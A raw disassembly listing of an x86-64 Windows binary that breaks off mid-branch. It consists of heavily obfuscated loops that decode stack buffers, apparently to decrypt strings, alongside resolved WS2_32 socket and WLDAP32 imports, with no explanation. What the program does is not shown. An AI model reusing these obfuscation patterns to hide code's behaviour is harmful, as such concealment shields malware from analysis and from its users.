mov byte [rbp + 0x485], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x486], rax
mov dword [rbp + 0x48e], eax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x852f948bcec8ed5a
movabs r14, 0x2759038ad0d1750e
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x14014a998
movzx r8d, byte [rbp + r9 + 0x480]
mov r10, r8
cmp rdi, r9
ja 0x14014a98f
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140149e60
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x76
jmp 0x140149e8d
je 0x14014a910
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014a886
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14014a828
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14014a7d3
cmp r11, r9
ja 0x14014a986
lea rax, [r11 + 0x80]
cmp rdi, rax
jae 0x140149ec5
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140149f13
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14014a7c2
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014a79d
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014a77a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14014a757
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14014a735
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14014a70f
lea rax, [rdi + r11]
cmp rax, r9
jbe 0x14014a457
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x14014a443
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14014a42f
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14014a41b
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14014a3f9
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14014a3d7
lea rcx, [r11 + 5]
cmp rdi, rcx
je 0x14014a3b5
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14014a394
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014a372
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14014a350
mov rdi, rcx
lea r11, [rcx + 0xa]
lea rax, [r11 + 4]
cmp rcx, rax
jb 0x14014a96d
lea rax, [r11 + 3]
cmp rcx, rax
jb 0x14014a94a
lea rax, [r11 + 2]
cmp rcx, rax
jb 0x14014a105
lea rax, [r11 + 1]
cmp rcx, rax
jb 0x14014a0e3
lea rax, [r11 + 0x2a]
cmp rcx, rax
jb 0x14014a0c1
lea rcx, [r11 + 0x5a]
cmp rdi, rcx
jb 0x14014a2ee
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x14014a267
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14014a256
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14014a228
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140149f20
mov rdi, rcx
lea r11, [rcx + 3]
lea rax, [r11 + 0x41]
cmp rcx, rax
ja 0x14014a206
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x14014a1e0
lea rax, [r11 + 0x61]
cmp rcx, rax
ja 0x14014a1bc
lea rax, [r11 + 0x1000]
cmp rcx, rax
ja 0x14014a196
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x14014a179
lea rcx, [r11 + 0x3e8]
cmp rdi, rcx
ja 0x14014a165
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x14014a157
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x14014a149
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x14014a127
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140149f20
mov rdi, rcx
lea r11, [rcx + 0x40]
jmp 0x140149f20
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x140149f13
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140149e8d
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x140149e32
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14014a7f4
lea rdx, [r9 + r15]
mov ecx, 0x3e
jmp 0x14014a5d1
lea rdx, [r9 + r12]
mov ecx, 0x34
jmp 0x14014a600
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14014a837
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a871
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a874
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014a8a5
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a8d9
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14014a92e
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x480], bl
jmp 0x14014a93d
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14014a2b1
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x14014a6b8
lea rax, [r11 + 0x5a]
cmp rdi, rax
jbe 0x14014a644
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r11, 0x42
jb 0x14014a249
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14014a7f4
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r11]
mov ecx, 1
cmp rax, rcx
je 0x14014a6e1
lea rax, [r11 + 5]
cmp rdi, rax
jbe 0x14014a58b
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x14014a288
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014a92e
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14014a8d9
movabs rdx, 0x78accaa08bc11ce4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x14014a8a5
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14014a874
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14014a871
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14014a849
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x14014a5fd
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x14014a5ce
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x14014a7e2
lea rcx, [r11 + 6]
cmp rdi, rcx
jae 0x14014a479
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x14014a30f
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014a4a4
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14014a92e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014a4cf
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14014a871
cmp rdi, rcx
jne 0x14014a4fa
movabs rdx, 0xdaa2c6600d03648
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a849
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14014a529
movabs rdx, 0x1809557d9e6210fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a7bb
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14014a558
movabs rdx, 0x22687e953bf3ebb0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a818
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014a30f
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014a7f4
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014a5b6
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14014a7f4
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014a5e5
movabs rdx, 0xd114b77f810443da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a818
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014a614
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a7bb
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x14014a288
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x14014a92e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014a661
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x14014a71e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014a688
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014a705
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14014a2c3
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014a871
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x480]
jmp 0x14014a844
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x480]
add bl, dl
add bl, r8b
jmp 0x14014a8a7
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014a92e
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14014a8a7
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14014a874
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x14014a871
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
mov eax, 1
jmp 0x14014a820
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x14014a7e2
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7a
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
mov eax, 1
add r11, rax
sub r9, rax
jmp 0x14014a942
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa083ed57d06959ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x66
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x480], cl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014a93d
mov r8, r10
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r10b
add al, al
mov bl, r10b
sub bl, al
sub bl, 0x3a
add bl, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x480], al
inc r11
add rax, r11
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x480], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014a92e
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x480]
add rax, r11
add r9, rax
mov eax, 1
add r9, rax
jmp 0x140149e1f
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4e
jmp 0x140149e1a
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x140149e0a
lea rcx, [rbp + 0x17f7cf8]
jmp 0x14014a99f
lea rcx, [rbp + 0x1486a52]
jmp 0x14014a99f
lea rcx, [rbp + 0x480]
xor edx, edx
call fcn.1401a2d88
xor r13d, r13d
test al, al
je 0x14014fb1b
mov byte [rbp + 0xc10], 0x9b
mov byte [rbp + 0xc11], 0x59
mov byte [rbp + 0xc12], 0x80
mov byte [rbp + 0xc13], 0x5b
mov byte [rbp + 0xc14], 0xa0
mov byte [rbp + 0xc15], 0x45
mov byte [rbp + 0xc16], 0xbb
mov byte [rbp + 0xc17], 0x47
mov byte [rbp + 0xc18], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc19], 0x41
mov byte [rbp + 0xc1a], 0xaf
mov byte [rbp + 0xc1b], 0x43
mov byte [rbp + 0xc1c], 0xde
mov byte [rbp + 0xc1d], Ordinal_79
mov byte [rbp + 0xc1e], 0xdd
mov byte [rbp + 0xc1f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc20], 0xac
mov byte [rbp + 0xc21], Ordinal_79
mov byte [rbp + 0xc22], 0x86
mov byte [rbp + 0xc23], Ordinal_79
mov byte [rbp + 0xc24], 0x99
mov byte [rbp + 0xc25], 0x75
mov byte [rbp + 0xc26], 0x98
mov byte [rbp + 0xc27], 0x77
mov byte [rbp + 0xc28], __WSAFDIsSet
mov byte [rbp + 0xc29], WSACleanup
mov byte [rbp + 0xc2a], 0xef
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc2c], 0xe8
mov byte [rbp + 0xc2d], 0x7d
mov byte [rbp + 0xc2e], 0xe2
mov byte [rbp + 0xc2f], 0x7f
mov byte [rbp + 0xc30], 0x9c
mov byte [rbp + 0xc31], 0x79
mov byte [rbp + 0xc32], 0xbb
mov byte [rbp + 0xc33], 0x7b
mov byte [rbp + 0xc34], 0xf4
mov byte [rbp + 0xc35], 0x65
mov byte [rbp + 0xc36], 0xf6
mov byte [rbp + 0xc37], 0x67
mov byte [rbp + 0xc38], 0xac
mov byte [rbp + 0xc39], 0x61
mov byte [rbp + 0xc3a], 0x83
mov byte [rbp + 0xc3b], 0x63
mov byte [rbp + 0xc3c], 0xf0
mov byte [rbp + 0xc3d], WSASetLastError
mov byte [rbp + 0xc3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc40], Ordinal_143
mov byte [rbp + 0xc41], WSAGetLastError
mov byte [rbp + 0xc42], 0xa7
mov byte [rbp + 0xc43], WSASetLastError
mov byte [rbp + 0xc44], 0x88
mov byte [rbp + 0xc45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc46], 0xfe
mov byte [rbp + 0xc47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc48], 0xfd
mov byte [rbp + 0xc49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc4a], 0x80
mov byte [rbp + 0xc4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc4c], 0xfd
mov byte [rbp + 0xc4d], Ordinal_32
mov byte [rbp + 0xc4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc4f], Ordinal_32
mov byte [rbp + 0xc50], 0xfa
mov byte [rbp + 0xc51], Ordinal_27
mov byte [rbp + 0xc52], 0xf3
mov byte [rbp + 0xc53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc54], __WSAFDIsSet
mov byte [rbp + 0xc55], 5
mov byte [rbp + 0xc56], 6
mov byte [rbp + 0xc57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc58], xmm0
mov qword [rbp + 0xc68], rax
mov dil, byte [rsp + 0x50]
movabs r14, 0xe2ff43c1b0c1bb8c
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x14014b63e
movzx r8d, byte [rbp + r10 + 0xc10]
mov r11d, r8d
cmp rbx, r10
ja 0x14014b635
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14014ac3e
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x2c
movabs r14, 0xe2ff43c1b0c1bb8c
jmp 0x14014ac6b
je 0x14014b5b0
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14014b55b
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14014b4f8
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14014b4d1
cmp r9, r10
ja 0x14014b62c
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14014aca3
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14014acd7
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14014b48a
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14014b466
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14014b443
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14014b420
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14014b039
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14014b016
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14014afef
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14014afcb
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14014afa7
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14014af84
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14014af5d
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14014b608
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14014b5e5
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14014ae02
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14014af46
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14014af17
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14014acea
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14014aef0
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14014aedf
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14014aebc
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14014ae95
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14014ae6e
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14014ae4a
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14014ae27
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14014acea
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x14014acdd
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14014b214
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14014b4cc
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014b4f0
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014b548
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14014b3e7
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014af6c
movabs rdx, 0xc7903b00f3075b20
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014b5ce
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xc10], dil
jmp 0x14014b5dd
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14014b04f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014b57b
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14014b3e7
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14014b548
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14014b4f0
movabs rdx, 0x4fada4bd54c20d40
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014b4cc
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14014b4a8
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14014b10a
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14014b3bf
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14014b1ed
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x14014b397
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14014b295
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x14014af39
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14014b4a8
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014b138
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014b5ce
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014b164
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14014b3e4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14014b191
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14014b545
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14014b1bd
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14014b51a
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14014b05f
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14014b4a8
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014b21c
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x14014b4a8
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14014b239
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14014b475
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014b266
